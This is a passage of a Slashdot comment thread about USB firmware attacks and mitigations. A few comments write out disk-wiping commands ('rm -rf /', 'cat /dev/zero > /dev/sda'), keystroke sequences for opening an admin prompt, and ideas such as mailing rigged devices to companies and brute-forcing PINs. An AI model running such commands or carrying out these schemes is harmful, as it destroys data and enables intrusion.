  17. Not just USB by jones_supa · · Score: 1

    Almost any hardware component can be tampered with.

  18. PS/2 Keyboard by Anonymous Coward · · Score: 0

    What about my PS/2 keyboard ;)

  19. nah, it's an easy fix by swschrad · · Score: 1

    sledgehammer the sumbuck into dust and buy a new computer. no problem.

    --
    if this is supposed to be a new economy, how come they still want my old fashioned money?
  20. White hat hackers, if you build it I will come. by Anonymous Coward · · Score: 0

    We need an intermediate USB reader with programmable capabilities to display the USB ROM code and display that before the system is manually allowed to connect to it.

    BUILD IT!

    1. Re:White hat hackers, if you build it I will come. by blueg3 · · Score: 1

      It'd probably be easier to implement a little hardware device that places restrictions on device classes that can connect through it and limits hybrid devices (e.g., keyboard+mouse = ok, keyboard+webcam = reject).

  21. Re:Oh think of the fun when drivers update firmwar by blueg3 · · Score: 1

    A couple NSA letters later and MS is now sending NSA payloads.

    Because they couldn't already do this with network-distributed software updates?

  22. Limited scope of vulnerability by jrumney · · Score: 2

    OK, this makes a bit more sense than the MSM version I read half an hour ago. In that article, they made it sound like USB keyboards were spreading a virus by reprogramming the USB controller chips on motherboards, which sounded a bit too far fetched to me (maybe one brand could be vulnerable - but a widespread problem?). In the Ars story it sounds more like they are reprogramming the firmware in the USB device itself to act as a different device. Cute trick, possibly useful against a carefully chosen target, but the likelyhood of a widespread attack seems minimal. And auditing your devices would be quite easy - just keep an eye on what device types are showing up in /sys/bus/usb or device manager.

    1. Re:Limited scope of vulnerability by John+Bokma · · Score: 1

      just keep an eye on what device types are showing up in /sys/bus/usb or device manager.

      I'll pass this on to my mother, thanks!

  23. PS/2 by kheldan · · Score: 1

    Time to dig those PS/2 keyboards and mice out of the back of the closet, I guess..

    --
    Are YOU using the TOOL, or is the TOOL using YOU? Think about it!
    1. Re:PS/2 by Blaskowicz · · Score: 1

      I always choose a motherboard with both ports. Can be very useful even if you start out with both peripherals as USB. e.g. when my USB mouse broke, I got the older PS/2 one from a drawer and it still works very fine. Likewise I broke a keyb from 2010 or 2011 and ultimately replaced it with one from 1996 (which has grease and a space bar that needs serviced but registers all keys)

    2. Re:PS/2 by JazzLad · · Score: 1

      Nah, you can always use a USB to PS/2 adapter - I found a supplier that sells them cheap!


      Preemptive whooosh for the humour-impaired

      --
      "If you have nothing to hide, you have nothing to fear." - Every fascist, ever
  24. How many have been bulk-mailed for Fortune 500s? by swb · · Score: 3, Insightful

    If you had the money/resources, you could create these things by the thousand and bulk-mail these to major companies. It would stand to reason that somebody would end up plugging them into their office computer, enabling a back door.

    You could go even further and create hacked 5 port switches or access points and ship them off to big company branch offices, where users may be more likely to ignore standards or be short on resources and use those kinds of things anyway. You could put a return label on it for the office supply company or even the HQ office so that users thought it was something they had gotten by accident.

    I'd bet in a lot of cases people would just say "sweet" and go ahead and use them in the office, giving you a back door. A switch or access point would have enough space inside that custom hardware could be inserted giving a lot better back door, like having your own computer on their network.

  25. Re:USB 4.x to offer signed USB device signatures?? by Anonymous Coward · · Score: 3, Insightful

    Wouldn't it be much simpler to make USB device firmware not upgradeable? When have you ever updated the firmware on a mouse or keyboard? If there's a legitmate need to leave them upgradeable, put in a jumper or switch that is off by default.

  26. Re:Oh think of the fun when drivers update firmwar by Anonymous Coward · · Score: 0

    It's the only OS I know that updates firmware on devices without me asking for it.

  27. Re:USB 4.x to offer signed USB device signatures?? by Lumpy · · Score: 1

    All you need to do is have the USB drive mounted by a locked down device. Example, RasPi set to read only on the OS and disable everything all it does is mounts the USB drive and then offers up the contents via the network.

    I dont care what you have in the USB stick it will not auto run and infect. then your can look at the contents with another pc via the network and see the real contents or even run automated tests on it before it is available to the users machine.

    It is not hard to make something that will stop this crap.

    --
    Do not look at laser with remaining good eye.
  28. Re:USB 4.x to offer signed USB device signatures?? by bill_mcgonigle · · Score: 1

    That makes the whole concept dead on arrival. Anything that requires a connection is no damn good, aside from a remote terminal, I suppose

    How else do you plan to distribute a CRL? The firmware can get programmed with the updated certificate store when you have access to the CRL, but it can operate fine offline without it (accepting the enhanced risk).

    --
    My God, it's Full of Source!
    OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
  29. Irongeek did similar presentations in 2010. by Anonymous Coward · · Score: 1

    How is this a significantly different concept from his PHUKD (Programmable HID USB Keystroke Dongle) devices from 2010?

    http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle

    (great acronym, btw)

    1. Re:Irongeek did similar presentations in 2010. by Anonymous Coward · · Score: 0

      The difference is that this works on a large number of "normal" usb devices instead of a specifically programmable board. The issue is that all sorts of things like keyboards and usb drives let their usb firmware be replaced.

  30. Cheap mitigation of the problem: USB patch cables by Anonymous Coward · · Score: 0

    Add an extra pin to the device side connector. The pin is left unconnected on standard USB cables and firmware functions are disabled. Connect via a patch cable that swaps the data line for the patch line on the device side and the device will respond with firmware functions only, and disable regular operation.
    This would effect an extremely cheap write protect switch. (after the chip redesign to accomodate the change)

    Mom and Pop's heads would explode though, so it will never happen, but it seems technically feasible.
    A usb bridge device that blocks firmware updates (via a protocol whitelist) would help in the interim. Not sure anything like that exists at the moment. (there are USB write blockers for use in forensics with mass storage devices. Presumably they could be adapted)

  31. Re:USB 4.x to offer signed USB device signatures?? by Richy_T · · Score: 1

    Then the hacker simply swaps the hardware for updatable hardware.

  32. To say nothing of Apple cables by gelfling · · Score: 1

    Which are embedded entire computers.

  33. Not really that scary by Viol8 · · Score: 0

    Whats the point of the device sending keystrokes if it has no idea where they are going? "rm -rf /" ? Won't do much if you don't have a root xterm in focus or the focus is a word processor/browser/game/whatev er. Unless it acts like a mouse too and is smart enough to navigate its way around the screen, kick off an xterm , su with the root password etc etc...

    But then thats with a proper OS. I guess if you're running windows all bets are off.

    1. Re:Not really that scary by Anonymous Coward · · Score: 1

      Here is how it works on many windows computers: windows key, "command," menu key, down key, down key, down key, enter, left key, enter. You now have a command prompt you can do anything on with admin privileges on many computers.

      Another option is: windows key + r, "iexplore example.com" as long as that site has some targeted output they are toast.

    2. Re:Not really that scary by Canth7 · · Score: 1

      I will ignore the "proper OS" taunt - it shows a lack of perspective, given that Windows is the most popular OS in use today. Every OS has keyboard shortcuts. Could you disable them? Perhaps but that's besides the point - most people won't. Ubuntu - CTRL+ALT+T = terminal OSX - COMMAND+S+terminal = terminal Windows - windowskey+r+cmd = terminal Those commands only cover around 97-99% of the desktop/laptop market share. Think that's not juicy target?

    3. Re:Not really that scary by ArcadeMan · · Score: 1

      Command+S results in Safari asking me where I want to save this webpage.

    4. Re:Not really that scary by Anonymous Coward · · Score: 0

      I think he meant command+space bar and then typing "terminal"

    5. Re:Not really that scary by Anonymous Coward · · Score: 0

      Play the averages. Maybe 99 times out of 100 typing a particular sequence does nothing - wrong OS, wrong program running, whatever - but if it achieves the bad guy's objective 1 time out of 100, is widely spread, and has a high payoff... well, you can see the attraction for the scammer.

      Kind of reminds me of the focus grabbing bug in ubuntu: sure, most of the time it's a harmless nuisance, but if I'm typing my password for synaptic and firefox grabs focus loading the "wrong" page...

    6. Re:Not really that scary by Neil+Boekend · · Score: 1

      One of the reasons why admin and user privileges should be separated. It still isn't safe, but it helps.
      Now to convince managers of that.

      --
      Well, I might have a way, but it only works on a semi spherical planet in a vacuum.
    7. Re:Not really that scary by queazocotal · · Score: 1

      In addition - fingerprinting the OS based on exactly how it probes for a USB device has been done, and is not particularly hard.
      This can narrow down by a lot which OS you may be connected to - and have a dozen potential exploits based on the signature outcome.

  34. my bad experience by Anonymous Coward · · Score: 0

    Some years ago i was working at a major publicly traded company and corporate had requested a guy from our IT vendor do some maintenance on our servers. He requested access to our server room at which point I said no, but he escalated to my boss who allowed him to enter. Then he wanted access to our primary database server, to plug in a USB drive. I again said no, but the directive from corporate was to allow him to proceed. He plugged in his USB drive and I don't know why or how but the server immediately crashed and a hard drive had failed. It took us weeks to recover.

  35. Re:USB 4.x to offer signed USB device signatures?? by Anonymous Coward · · Score: 2, Informative

    What they are talking about here infects on firmware/driver level initialization between USB device and computer when plugged in that is an inherent part of the USB standard, before and invisible to any user mode (software) inspection (and how do you plan to see/test that the usb firmware is not infected?). This is not your regular Windows auto-run type problem.

  36. Re: Oh think of the fun when drivers update firmwa by Anonymous Coward · · Score: 0

    Yet he made a valid point which you did not answer. MS is compromized and we need to face that.

  37. Re:USB 4.x to offer signed USB device signatures?? by Anonymous Coward · · Score: 0

    Then the criminals will figure out how to falsify the signature with the bad firmware anyway.

    Well, it isn't exactly hard. The computer can't directly access the device firmware. You'd have to trust the device to do that.

  38. Re:USB 4.x to offer signed USB device signatures?? by jakimfett · · Score: 2

    At the point where a hacker has physical access to one of your machines, you have bigger problems than whether they're going to swap out your mouse for something more easily hackable.

    --
    Bits of code, random ramblings: jakimfett.com
  39. Re:USB 4.x to offer signed USB device signatures?? by Anonymous Coward · · Score: 0

    Then the hacker simply swaps the hardware for updatable hardware.

    Which would require the hacker to have physical access to the machine. That kind of limits the possibilities for a potential hacker.

  40. Re:USB 4.x to offer signed USB device signatures?? by Anonymous Coward · · Score: 0

    You forgot: "And will only work with Windows Secure Computing."

  41. To say nothing of your mother by Anonymous Coward · · Score: 1

    Who I embedded with my cable.

  42. USB? Try that and everything else... by Anonymous Coward · · Score: 0

    "Trusted" hardware my ass! Has anyone even watched this presentation by Jacob Applebaum?:

    https://www.youtube.com/watch?v=dy3-QZLTpbQ

    (includes talk about USB chip replacements for spyware purposes)

  43. Re:USB 4.x to offer signed USB device signatures?? by microhax · · Score: 1

    And soon after that comes the USB device DLC. Out of the box it supports a single left click. $2.99 for the left and middle buttons, $4.99 for a scroll wheel, and a monthly charge of $7.99 to ensure it all stays secure.

  44. Doesn't sound like much of a leap by bussdriver · · Score: 1

    I was reading about more capable hacks back in 2005 back when there were people doing attacks against the generic device drivers for ... well, any type of USB device driver. Plus using it to pick up the keyboard or injecting data to mess with other devices on the bus.

    TFA sounds to me like a much more limited attack and not all that creative since we've had a decade+ of USB devices that spoofed multiple devices -- I'm specifically thinking of those spoofed CD-ROM drives on some of those old Flash sticks.

    Keyboards? doesn't sound all that useful at 1st glance... but finding a fool proof script to open up a terminal on a mac sounds like an interesting challenge. linux? too much variety. windows... getting to the run cmd is easy.

    If you don't have a locked screen saver... which has been a MUST forever... a well written script could just be run from anywhere (just post it online, type in the URL and exec the file) which does most everything you need without admin access but could later also trigger some stuff to attempt privilege escalation attacks... like the police can already buy on usb flash (and whose software is signed by the OS vendor as trusted.)

    What would really be interesting are attacks that unlock the screen saver... or some generic driver exploit that allows custom error messages to pop up on the OS... "The radiation shield on your monitor has broken, please sit back 4 ft to avoid being irradiated."

    Although given the huge number of exploits and flaws in drivers--- I would like to see something push for greater quality and if that means popular USB stick exploits where it spoofs crap hardware to trigger automatic installation of crap drivers... would be nice to see hardware vendor drivers getting banned/noticed for poor quality.

  45. Still better than Firewire by Anonymous Coward · · Score: 0

    Still better than Firewire's direct external access your system's memory.

    1. Re:Still better than Firewire by Dahan · · Score: 1

      >2014
      >not using a computer that has an IOMMU

      ISHYGDDT.jpg

  46. Re:USB 4.x to offer signed USB device signatures?? by mythosaz · · Score: 2

    ...except that plenty of people, even those who should know better, are willing to accept a free flash drive.

    And that flash drive also is a HID device, and it's going to sometimes send a series of keystrokes that issue command you don't like.

    This entire hack depends on a device that looks like a keyboard, not being a keyboard, but being a keyboard AND a network card - or a flash drive that's ALSO a HID device - or a webcam that's also a BT receiver.

  47. The very first thing I do is disable autorun by Trax3001BBS · · Score: 1

    Mainly because it's the first asking for access(Windows), I just no everything out. One of the largest security holes around and it's still fully active.

    Give up complete computer security because I want music to play seconds before I could do it myself.

  48. Do cellphone chargers require USB negotiation? by smellsofbikes · · Score: 1

    The most obvious route for disaster is a compromised cellphone charger, at least for my usage patterns. Since it'd take me about ten minutes to make a pez-candy-sized PCB with USB-micro-M and USB-micro-F connectors with only the power lines connected between them, I'm wondering if an android phone will charge when it's getting power, regardless of whether the USB is connected, or it won't charge until it's had a USB chat. I recall older devices being able to charge at lower-power (150mA?) but having to negotiate for 500mA. I'm perfectly happy to settle for 150mA for right now, until I can program a little AVR to fake the negotiation process and make me an air-gap charger. I don't have a usb traffic sniffer at work, and am about to lose my pcb fabrication equipment for a couple of weeks, so if I could find out today if it's worth making the pcb I'd do it this afternoon. Anyone know?

    --
    Nostalgia's not what it used to be.
    1. Re:Do cellphone chargers require USB negotiation? by blueg3 · · Score: 1

      You just need a resistor or two. Almost any USB-charged device will charge at 500 mA if it is connected to a dumb charger (no data lines), but in order to charge at a higher current (as many devices do), it needs to sense that it's connected to a charger that supports the higher current draw. So that it can be implemented without real USB-supporting electronics, that's just done with some simple electrical components. So you can make a charger that blocks the data lines but permits full-speed charging.

      If you're okay with the slow version, just go out and buy a "power only" USB cable. They already exist. Alternately, this.

    2. Re:Do cellphone chargers require USB negotiation? by smellsofbikes · · Score: 1

      Awesome, thank you. Because I'm that kind of person I'll probably bodge one up on the pcb plotter today, with some available pads for adding resistors later.

      --
      Nostalgia's not what it used to be.
    3. Re:Do cellphone chargers require USB negotiation? by blueg3 · · Score: 1

      Sure. Depending on your device (iPhone works differently from the standard USB fast-charging spec), you should be able to easily look up what resistors need to go where. (As mentioned, non-iPhone devices use an informal standardized spec. A circuit diagram of something like a Samsung charger should show you.)

  49. Reprogramming at the factory. by Chmarr · · Score: 1

    Okay, so, instead the blackhats break into the factory that is manufacturing the chips and modify the firmware that is being written to them. Now, every USB keyboard that the company manufactures looks to the computer as both a USB keyboard, and a USB network device.

    I'm sure you remember those instances where malware was being pre-installed onto pre-formatted external drives, right?

    Sure, there's a lot more to be done to turn that "Fake network device" into something that can trick the OS into treating it as a default gateway, as well as acting as a forwarding device so that modified packets can make it out the _real_ gateway, but... it only needs one weird combination of behaviours... somewhere... to be effective.

    1. Re:Reprogramming at the factory. by janoc · · Score: 1

      Except that the article *was not* about chips being reprogrammed at the factory ...

  50. Re: Oh think of the fun when drivers update firmwa by Anonymous Coward · · Score: 0

    Yet he made a valid point which you did not answer. MS is compromized and we need to face that.

    Valid?, really?. I don't see it. What the hell does drivers have to do with anything?.

  51. This sounds familiar... article from December 2012 by EnOne · · Score: 1

    The USB stick that thinks it’s a keyboard Read more: The USB stick that thinks it’s a keyboard PC Pro blog http://www.pcpro.co.uk/blogs/2...

    --
    Calvin:Do you believe in the devil? Hobbes:I'm not sure man needs the help.
  52. Re:Oh think of the fun when drivers update firmwar by Anonymous Coward · · Score: 0

    It's the only OS I know that updates firmware on devices without me asking for it.

    I think that you may be a little confused. I've been using computers for over 20 years and i still haven't seen Windows update a firmware on it's own. FIRMware?. I think you don't have a clue about what you're talking about.

  53. ftdi, Atmel are VERY common in devices. I did it. by raymorris · · Score: 2

    I bet at least 20% of the USB devices use the same FTDI chip for USB functionality, and another 20% use Atmel AVR microcontrollers. If your malware patched or replaced the Atmel firmware, you could own a lot if systems.

    It wouldn't even NEED to continue to work like the original device, so you could just replace the firmware with the Atmel firmware I wrote last night. The user plugs in their webcam or tries to turn it on. The webcam doesn't work anymore. The bad guy doesn't care, at that point he has already owned the machine, just a few seconds after the device was plugged in.

  54. Re:How many have been bulk-mailed for Fortune 500s by Anonymous Coward · · Score: 0

    Been There Done That, discovered Ford has good opsec. 0/50 return on 512meg fobs.

  55. Re:USB 4.x to offer signed USB device signatures?? by jayveekay · · Score: 1

    Well perhaps the OS should ask the user "I see you've just plugged in a USB device that claims to be both a keyboard and a network adapter. Do you want to give this device both keyboard I/O and network access to your PC?"...

    Basically, the same way that when you install an app on a mobile phone, the system prompts you for what capabilities you want to grant the app, your PC OS could do something similar for USB devices.

  56. Is nowhere safe?!? by Joel+Cahoon · · Score: 1

    Will my USB Pet Rock be affected?

  57. Hyperbole by gweihir · · Score: 1

    For example, my keyboard has exactly 256 Bytes of FLASH storage. And if you put malware in there (which it is too small for), it loses its keymap. So "most" is really "some, and in particular devices modified for this" here. In addition, this attack need to be customized for each specific device, which is expensive. And many devices are not even reprogrammable without circumventing MCU protection bits.

    This is mostly a non-issue with regular devices.

    --
    Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
    1. Re:Hyperbole by Kaenneth · · Score: 1

      The bad guys only have to win once.

    2. Re:Hyperbole by gweihir · · Score: 1

      No. They have to win for each target individually. And they may have to do so repeatedly. That is a completely different situation.

      I was just pointing out that nobody is going to attack normal keyboards successfully, because there is nothing in there that can be attacked.

      --
      Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  58. Re:USB 4.x to offer signed USB device signatures?? by mythosaz · · Score: 1

    And if it's your first keyboard, how do you answer? Scream "YES" at it, or plug in the compromised mouse?

    Even if you just allow HID devices without confirmation, compromised HID devices that click "yes" for you will be next.

  59. Re:USB 4.x to offer signed USB device signatures?? by Aryden · · Score: 1

    99.9% of users will click "OK" or "Accept" see UAC....

  60. Is this OS related? by Anonymous Coward · · Score: 0

    Is this OS related?

  61. Re:USB 4.x to offer signed USB device signatures?? by Anonymous Coward · · Score: 0

    USB Keyboard Error ... Press F1 to continue

  62. Re:USB 4.x to offer signed USB device signatures?? by ArcadeMan · · Score: 1

    Hell yeah you have a bigger problem! I hope you have a hiding place for your Mountain Dew and your Doritos!

  63. Did it on Linux last night. Without warning ... by raymorris · · Score: 1

    Last night I programmed a chip to act as a USB keyboard and automatically "press" keys. The system did as you described, identifying it as a keyboard, and creating a node in /dev. Something like /dev/keyboard1. It then proceeded to accept the keyboard events exactly as though I'd typed them, without any confirmation by the user. Confirmation by the user would be problematic in the case of a broken keyboard or mouse - the system can't let you use the new keyboard to confirm itself.

    I'm using it to brute force a PIN. Some iPhones and Android devices will now accept an external keyboard. With a 4-digit PIN, it should be guessed by the end of the day.

    1. Re:Did it on Linux last night. Without warning ... by Kaenneth · · Score: 1

      ... you should be locked out by the 5th try at least.

  64. Re:Oh think of the fun when drivers update firmwar by silas_moeckel · · Score: 1

    I'll repeat.

    Sure this is the case with any hardware and MS but you would assume a secure facility would lock it down. But USB now you have the sneaker net issues.

    --
    No sir I dont like it.
  65. this exploit has to be ~10 years old by Anonymous Coward · · Score: 0

    ... at this point.

  66. Re:USB 4.x to offer signed USB device signatures?? by Obfuscant · · Score: 1

    What they are talking about here infects on firmware/driver level initialization between USB device and computer when plugged in that is an inherent part of the USB standard, before and invisible to any user mode (software) inspection (and how do you plan to see/test that the usb firmware is not infected?).

    Actually, this sounds like an interesting job for a Pi. I just checked the latest raspbian on my Pi and USB is compiled into the kernel (no USB modules, at least nothing obviously so). Recompile the kernel so USB is all loadable modules, then modify the base USB code to report transactions.

    Plug your USB stick or disk or keyboard into the Pi, and if it reports that there's a new not-a-USB-stick/disk/keyboard, you know there's malware on the device.

    On a different note, does anyone know of any modified firmware for any USB disk or stick that makes it look like a CD-R? (Preferably, a dozen at the same time.) I'd like to get around having to burn an actual CD-R when exporting audio books from Overdrive and then importing them into grip or itunes. And, unfortunately, many of the books I'm trying to write are JUST a bit larger than a CD-RW can handle.

  67. Re:USB 4.x to offer signed USB device signatures?? by Obfuscant · · Score: 1

    And if it's your first keyboard, how do you answer? Scream "YES" at it, or plug in the compromised mouse?

    I've lost track of the times I've had a BIOS report: "Keyboard failure. No keyboard detected. Press F1 to continue...". So no, you don't have to scream at it or plug in a mouse, just press F1. Do'h!

  68. Re:ftdi, Atmel are VERY common in devices. I did i by ArcadeMan · · Score: 1
  69. Re: USB 4.x to offer signed USB device signatures? by Anonymous Coward · · Score: 0

    Or they could just get a job at SanDisk.

  70. "or allowing to persons" - Huh? by Anonymous Coward · · Score: 0

    Oh, wait. I forgot. Americans...

  71. Re:Oh think of the fun when drivers update firmwar by blueg3 · · Score: 1

    What sneakernet issue? Be more clear. USB devices do not contain installable software, except for the obvious and well-known case of a mass-storage device happening to contain files that can be intentionally or inadvertently executed by the end user after the MSD is connected.

  72. Re:USB 4.x to offer signed USB device signatures?? by vux984 · · Score: 1

    I've lost track of the times I've had a BIOS report: "Keyboard failure. No keyboard detected. Press F1 to continue..."

    At which point you plug in a working keyboard and press F1.

  73. Re:USB 4.x to offer signed USB device signatures?? by AmiMoJo · · Score: 1

    There are much worse threats. Thunderbolt and Firewire give the device full access to RAM, with no protection at all. For over a decade companies have been making Firewire and now Thunderbolt devices that dump a running PC's memory for forensic analysis, complete with any encryption keys and passwords that happen to be there. Law enforcement loves them because even if the computer is locked or the user logged out when they get there most operating systems auto-configure newly plugged in devices. Thunderbolt allows pre-boot attacks as well (including cold boot key recovery).

    The only way to solve this problem is to train people not plug random stuff into their computers, and to disable Thunderbolt and Firewire ports. Plugging in a random USB memory stick is a risk and many people are starting to understand that, so we just need to extend it to cover all USB devices.

    --
    const int one = 65536; (Silvermoon, Texture.cs)
    SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
  74. Re:USB 4.x to offer signed USB device signatures?? by Anonymous Coward · · Score: 0

    Hell yeah you have a bigger problem! I hope you have a hiding place for your Mountain Dew and your Doritos!

    My bottom desk drawer has a false back; it will snap a photo and tweet it with #SnackThief if opened without proper authorization.

  75. Re:USB 4.x to offer signed USB device signatures?? by Anonymous Coward · · Score: 0

    And if it's your first keyboard, how do you answer? Scream "YES" at it, or plug in the compromised mouse?

    I've lost track of the times I've had a BIOS report:
    "Keyboard failure. No keyboard detected. Press F1 to continue...". So no, you don't have to scream at it or plug in a mouse, just press F1. Do'h!

    I remember; it was 153 times that you have seen that message so far.

  76. Guardian data destruction explained by martin · · Score: 1

    Possibly explains why the cesg guys got certain usn related chips destroyed on The Guardian kit that had held Snowdens files - perhaps they'd already done this and wanted the evidence removed

  77. Re:USB 4.x to offer signed USB device signatures?? by Obfuscant · · Score: 1

    At which point you plug in a working keyboard and press F1.

    No, at which point you plug in a keyboard, reboot, press DEL or Fwhatever (2?) to go into the BIOS setup, fix the stupid "stop on keyboard error" or similar setting, save and exit, and then pull the keyboard back off.

    I develop embedded/standalone systems that won't have a keyboard on them. I usually remember to set the BIOS as one of the first things on any new system, but many times I've gotten the "press F1" instruction when I get to final testing in target configuration.

    But mostly I would say ... "whoosh".

  78. Webcam firmware updates...everywhere. by Anonymous Coward · · Score: 0

    Uhmm...every single webcam I've had, from the crap $10 to crap $120 have had firmware updates available from the manufacturer website. Sure, the *frequency* of the update is rare, but they do exist, and it would be *insane* not to make them customer up-gradable in something as complicated as a webcam.

    Bob: "We'll, we've shipped 100k of these, but apparently it won't work with the new windows update and that new version of windows. Our software team has fixed it in firmware."
    Jim: "Great! Lets get it on the site and send out an email to registered folks."
    Bob: "Ummm...well, Janoc, our project lead, didn't think upgradability was important...no firmware updates for our cameras. After 5 seconds of searching, I noticed we're the only ones in the market."
    Jim: *slaps forehead* "Maybe we shouldn't have hired him using that single slashdot post as a reference."

  79. Or shipping with bad firmware by phorm · · Score: 1

    Most of these devices are manufactured in China. What's to stop the government from planting a little "something extra" in the webcam's controller, or your cheap USB stick etc?

    Plenty of avenues for exploit there. Given that the NSA has been known to intercept hardware and implant chips in it, I can see that too, but it's even easier for China

  80. Re:USB 4.x to offer signed USB device signatures?? by sl149q · · Score: 1

    Keyboards plugged in during Windows Installation will be exempt.

    The fake HID keyboard can type YES all day, but since the driver software for the fake HID keyboard WON'T be loaded until the user types YES on an existing keyboard we would be OK.

    This type of attack could be defeated if Windows had a security setting that forced all devices to have a properly signed INF package available before Windows will install any drivers for it. That INF (and signed cataloge file, and possibly driver files) can either be available in Windows update or installed by the end user (from the net, from cd etc.)

    More likely for corporate machines a set of approved device driver files would be pre-installed making it impossible to use any USB device not authorized.

    If Windows does not install drivers for the device it is a useless lump of silicon plugged into your USB port (well it could still be stealing up to 100ma of power.)

    Note that Windows 7 and newer already require a signed driver. But for HID devices Microsoft will use their builtin HID driver (signed by Microsoft) matching by class (HID is a class of devices.) The suggestion is that class matching be disabled and specific matching by vendor and product id be required. That means an INF file with the correct VID/PID be available. And the only way to have that available is with a digital signature.

  81. Re:USB 4.x to offer signed USB device signatures?? by sl149q · · Score: 1

    And just a note, Windows does have some control, google "Managing Hardware Restrictions via Group Policy".

  82. Re:Oh think of the fun when drivers update firmwar by silas_moeckel · · Score: 1

    http://www.usb.org/developers/... has been around for a decade and a half. I'm sitting in front of a USB mouse that gets firmware updates. I've flashed USB keys with new firmware. USB devices can and do contain nonvolatile firmware not just flash drives and not just what is general accessed by the OS.

    --
    No sir I dont like it.
  83. This is Linux's Version of Autorun by Sanians · · Score: 1

    This is kind of a new version of auto-run, one implemented by all operating systems.

    The problem with auto-run is that a CD might tell the computer to do anything, not just what the user would like it to do.

    The same problem exists with keyboards. They'll likely just send the keystrokes you type to the computer, much like the vast majority of CDs will only tell your computer to run the game that they contain that you want to play. However, a few will do something else, and the computer will happily do whatever that keyboard tells it to do. Even if it doesn't look like a keyboard, much like those flash drives that don't at all look like CD drives.

  84. Re:USB 4.x to offer signed USB device signatures?? by Anonymous Coward · · Score: 0

    Whadsyerproblem? Just press the Any key.

  85. Re:USB 4.x to offer signed USB device signatures?? by Mr.+Slippery · · Score: 1

    Plug your USB stick or disk or keyboard into the Pi, and if it reports that there's a new not-a-USB-stick/disk/keyboard, you know there's malware on the device.

    So I'll make my malware pretend to be a plain old USB stick for the first N hours. Then it will simulate an unplug and replug itself in as a keyboard that types "format c:\ncat /dev/zero > /dev/sda\necho bwah hah hah!\n"

    It's a basic principle that if an attacker can compromise your hardware, you're fscked. But it looks like the new part is that the malware can go viral, reprogramming USB devices. Whoever was careless enough to release a USB controller with firmware that can be arbitrarily reprogrammed from the host computer needs to be taken out and shot.

    --
    Tom Swiss | the infamous tms | my blog
    You cannot wash away blood with blood
  86. Re:USB 4.x to offer signed USB device signatures?? by Anonymous Coward · · Score: 0

    How about a virtual DVD drive?

  87. Yet Another Benefit! by johnwerneken · · Score: 0

    Yet another in the inexhaustible stream of BENEFITS from USB and Wireless technology! Love it!

  88. should be exponential, but it's not by raymorris · · Score: 1

    After the fifth try it locos it for 30 seconds. That's why it takes a day to try 10,000 four-digit pins. What it SHOULD do is delay die 30 seconds after the 5th try, 60 seconds after five more, 120 seconds after five more, 240 seconds ..

    However, it looks like both companies had general purpose programmers design their security locks, rather than having security professionals do that. Which is a lot like having a handyman design your physical locks, without involving a locksmith. A handyman sometimes* competently INSTALLS a lock, but it should be security professionals designing them.

    * very often a handyman or carpenter installs a lock upside down, resulting in early failure of the lock and making it less user-friendly.

  89. Re:USB 4.x to offer signed USB device signatures?? by Chris+Mattern · · Score: 1

    a flash drive that's ALSO a HID device

    It's also a Human Interface Device device?

  90. Re:USB 4.x to offer signed USB device signatures?? by vux984 · · Score: 1

    But mostly I would say ... "whoosh".

    Its not a 'whoosh'

    The premise is that "keyboard missing, press F1 to continue" is "funny" is because you can incorrectly interpret it to mean the following contradiction:

      "The keyboard is missing, now press F1 on the keyboard to continue without one"

    But it never meant that, it means the far more reasonable:

    "The keyboard is missing; I'm currently configured to ensure that one is attached, so please attach one, and then press F1 on it to continue"

  91. Re:USB 4.x to offer signed USB device signatures?? by Obfuscant · · Score: 1

    Overdrive will only burn CD-R as audio disks. I've tried using a DVDxR (both + and -, and RW and RAM) and it will not burn to those.

  92. Re:Oh think of the fun when drivers update firmwar by blueg3 · · Score: 1

    Yes, devices have updateable firmware. How is this a "sneakernet issue"? The firmware update does not cause Windows to install anything. Those are orthogonal features.

  93. Re:USB 4.x to offer signed USB device signatures?? by Obfuscant · · Score: 1

    Its not a 'whoosh'

    It's a 'whoosh' for you because you didn't read the entire comment, which included the sentences: "So no, you don't have to scream at it or plug in a mouse, just press F1. Do'h!"

    "Just press F1". Read all the words. You seem pretty clear on the idea that you can't "just press F1", you need to find a working keyboard first, and you thought you needed to lecture me on the issue because YOU DIDN'T GET THE JOKE. Admit it.

    "The keyboard is missing; I'm currently configured to ensure that one is attached, so please attach one, and then press F1 on it to continue"

    Had the BIOS authors intended the error to say that, they would have written the error to say that. Or to say something shorter like "Keyboard error. Attach working keyboard". They did not. You read much more into what the error says than the authors wrote into it.

  94. Re:USB 4.x to offer signed USB device signatures?? by vux984 · · Score: 1

    YOU DIDN'T GET THE JOKE.

    I got the joke. That's why it wasn't a whoosh.

    Had the BIOS authors intended the error to say that

    Lol, bios has some the worst english I've ever read.

  95. Re:USB 4.x to offer signed USB device signatures?? by Obfuscant · · Score: 1
    Had you gotten the joke, you wouldn't have lectured me on what you think I needed to do about the situation. Nor would you have lectured me on your interpretation of what the error message actually says.

    Bye.

  96. Re:USB 4.x to offer signed USB device signatures?? by Anonymous Coward · · Score: 0

    Let us not forget eSATA as well (SATA too, but that is generally inside the case and harder to mistake). There is though a well-known mitigation, IOMMUs. Many modern processors/chipsets include an IOMMU, but I'm under the impression OS support is less than universal (I'm unsure what Linux kernel versions include support). Protection against DMA attacks is improving, but you're right to still be worried about them.

  97. Re:Oh think of the fun when drivers update firmwar by silas_moeckel · · Score: 1

    One example given was a keyboard that can guess your password (watch for the first string you type) and then wakes up your pc in the wee hours to send the keylog to collections web sites. You need not install anything into the OS.

    We already know that the NSA has swapped hardware in transit. This just makes it even easier. Often their is no facility to read the firmware back from these devices without physically accessing it and even then it may not be possible.

    --
    No sir I dont like it.
  98. Re:USB 4.x to offer signed USB device signatures?? by Anonymous Coward · · Score: 0

    HID device? Seriously? You know that USB devices can access DMA, yes? Arbitrary USB devices offer a side-channel to access system memory.

  99. Physical security by Anonymous Coward · · Score: 0

    Ughh, time to hard label, physically lock the USB ports and regularly audit every USB device in my Train Control System / Utility SCADA / Nuclear plant / Launch Silo

  100. Re:USB 4.x to offer signed USB device signatures?? by Neil+Boekend · · Score: 1

    and a monthly charge of $7.99 to ensure it all stays secure

    In some cases, assuming it covers secondary damage, that would be more than worth it.

    --
    Well, I might have a way, but it only works on a semi spherical planet in a vacuum.
  101. Hmmm or maybe, by Anonymous Coward · · Score: 0

